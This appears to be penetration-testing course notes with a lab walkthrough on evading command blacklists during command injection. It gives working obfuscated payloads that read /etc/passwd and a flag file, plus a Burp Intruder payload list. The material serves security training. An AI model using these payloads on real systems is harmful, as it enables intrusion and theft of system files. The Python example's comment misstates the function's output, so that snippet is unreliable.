Bypassing Blacklisted Commands

🎭 Command Obfuscation: Techniques to disguise commands and bypass word-based filters

Overview

We have discussed various methods for bypassing single-character filters. However, there are different methods when it comes to bypassing blacklisted commands. A command blacklist usually consists of a set of words, and if we can obfuscate our commands and make them look different, we may be able to bypass the filters.

There are various methods of command obfuscation that vary in complexity. We will cover basic techniques that may enable us to change the look of our command to bypass filters manually.

Understanding Command Blacklists

Basic Command Blacklist Filter

A basic command blacklist filter in PHP would look like the following:

$blacklist = ['whoami', 'cat', 'ls', 'id', 'pwd', ...];
foreach ($blacklist as $word) {
    if (strpos($_POST['ip'], $word) !== false) {
        echo "Invalid input";
    }
}

Key Points:

  • Checks for exact matches of blacklisted words

  • Case-sensitive in most implementations

  • Can be bypassed through obfuscation techniques

  • May also block common file paths like /etc/passwd

Testing for Command Blacklists

After successfully bypassing character filters, test if commands are blacklisted:

# Test basic command injection
127.0.0.1%0awhoami

# If blocked, you'll see:
Response: "Invalid input"

This indicates a command-based filter is active.

Cross-Platform Obfuscation Techniques

Quote Injection (Linux & Windows)

🔗 Universal Method: Works on both Bash and PowerShell

Single Quotes:

# Original command
whoami

# Obfuscated with single quotes
w'h'o'am'i
w'ho'ami
wh'o'ami

Double Quotes:

# Obfuscated with double quotes  
w"h"o"am"i
w"ho"ami
wh"o"ami

Important Rules:

  • ✅ Even number of quotes required

  • ✅ Cannot mix quote types in same command

  • ✅ Works with any command (cat, ls, id, etc.)

HTB Academy Lab Example

Testing Quote Obfuscation:

POST /check HTTP/1.1
Content-Type: application/x-www-form-urlencoded

ip=127.0.0.1%0aw'h'o'am'i

Expected Result:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss

root

Linux-Only Obfuscation Techniques

Backslash Escaping

Method:

# Original command
whoami

# Obfuscated with backslashes
w\ho\am\i
wh\oami
who\ami

Advantages:

  • ✅ Odd or even number of characters

  • ✅ Flexible placement

  • ✅ Works with any position in command

Positional Parameter ($@)

Method:

# Original command
whoami

# Obfuscated with $@
who$@ami
w$@hoami
wh$@oami

Technical Note: $@ represents positional parameters in Bash, but when empty, it's ignored during command execution.

Combined Linux Techniques

Advanced Obfuscation:

# Multiple techniques combined
w\h'o'$@ami
c'a'\t$@${PATH:0:1}etc${PATH:0:1}passwd

Windows-Only Obfuscation Techniques

Caret Character (^)

Method:

# Original command
whoami

# Obfuscated with caret
who^ami
w^ho^ami
wh^o^ami

PowerShell Alternative:

# Using backtick escape character
who`ami
wh`o`ami

HTB Academy Lab Solution

Challenge: Command Blacklist Bypass

Target: Find the content of flag.txt in the home folder of the previously discovered user.

Previous Context:

  • User found: 1nj3c70r (from /home directory listing)

  • Need to read: /home/1nj3c70r/flag.txt

Step-by-Step Solution

Method 1: Quote Obfuscation

# URL-encoded payload
ip=127.0.0.1%0ac'a't$IFS${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

# Decoded payload breakdown:
127.0.0.1           # Valid IP to pass initial validation
%0a                 # Newline injection operator (bypasses semicolon filter)
c'a't               # "cat" command obfuscated with single quotes
$IFS                # Space character replacement
${PATH:0:1}         # "/" character from environment variable
home                # Directory name
${PATH:0:1}         # Another "/" character
1nj3c70r            # Username discovered in previous step
${PATH:0:1}         # Another "/" character  
flag.txt            # Target filename

# Actual executed command: cat /home/1nj3c70r/flag.txt

Method 2: Backslash Obfuscation (Linux)

ip=127.0.0.1%0ac\a\t$IFS${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

Method 3: Mixed Techniques

ip=127.0.0.1%0ac'a't$IFS${PATH:0:1}h'o'me${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

Lab Answer Format

Expected Flag Content:

HTB{...}

Advanced Obfuscation Examples

File Reading Techniques

Obfuscating cat /etc/passwd:

# Method 1: Quotes + Environment Variables
c'a't$IFS${PATH:0:1}e't'c${PATH:0:1}p'a'sswd

# Method 2: Backslash Escaping  
c\a\t$IFS${PATH:0:1}e\tc${PATH:0:1}pa\sswd

# Method 3: Mixed Techniques
c'a'\t$IFS${PATH:0:1}et'c'${PATH:0:1}pas'sw'd

Directory Listing Techniques

Obfuscating ls -la /home:

# Method 1: Quote Obfuscation
l's'$IFS-l'a'$IFS${PATH:0:1}h'o'me

# Method 2: Tab Replacement + Quotes
l's'%09-l'a'%09${PATH:0:1}h'o'me

Detection & Testing Methodology

1. Identify Blacklisted Commands

Test Common Commands:

# Test each command individually
whoami    # Often blacklisted
id        # Often blacklisted  
cat       # Often blacklisted
ls        # Often blacklisted
pwd       # Sometimes blacklisted
echo      # Rarely blacklisted

2. Test Obfuscation Methods

Systematic Testing:

# Step 1: Single quote method
w'h'o'am'i

# Step 2: Double quote method  
w"h"o"am"i

# Step 3: Backslash method (Linux)
w\ho\am\i

# Step 4: Mixed methods
w'h'o\am'i'

3. Character Combination

Advanced Payload Construction:

# Combine all bypass techniques:
# - Newline injection operator (%0a)
# - Environment variable space replacement ($IFS)  
# - Environment variable path extraction (${PATH:0:1})
# - Command obfuscation with quotes (c'a't)

127.0.0.1%0ac'a't$IFS${PATH:0:1}path${PATH:0:1}to${PATH:0:1}file

Practical Applications

1. Web Application Testing

Burp Suite Intruder Setup:

# Payload positions for command obfuscation
127.0.0.1%0a§c'a't§$IFS${PATH:0:1}etc${PATH:0:1}passwd

# Payload list:
cat
c'a't  
c"a"t
c\a\t
c'a'\t

2. Automated Obfuscation

Python Script Example:

def obfuscate_command(cmd):
    """Simple quote-based obfuscation"""
    obfuscated = ""
    for i, char in enumerate(cmd):
        if i % 2 == 0:
            obfuscated += f"'{char}'"
        else:
            obfuscated += char
    return obfuscated

# Usage
original = "whoami"
obfuscated = obfuscate_command(original)  # w'h'oam'i'

Key Takeaways

✅ Universal Techniques

  • Quote injection works on all platforms

  • Environment variables provide character flexibility

  • Multiple bypasses can be combined

🎯 Platform-Specific

  • Linux: Backslash (\) and positional parameters ($@)

  • Windows: Caret (^) and backtick (`)

🔧 Best Practices

  • Test systematically - one technique at a time

  • Combine methods for complex filters

  • Use automation for efficiency in assessments

This comprehensive approach to command obfuscation enables penetration testers to bypass sophisticated word-based filtering mechanisms while maintaining reliable command execution.

PreviousBypassing Character FiltersNextAdvanced Command Obfuscation

Last updated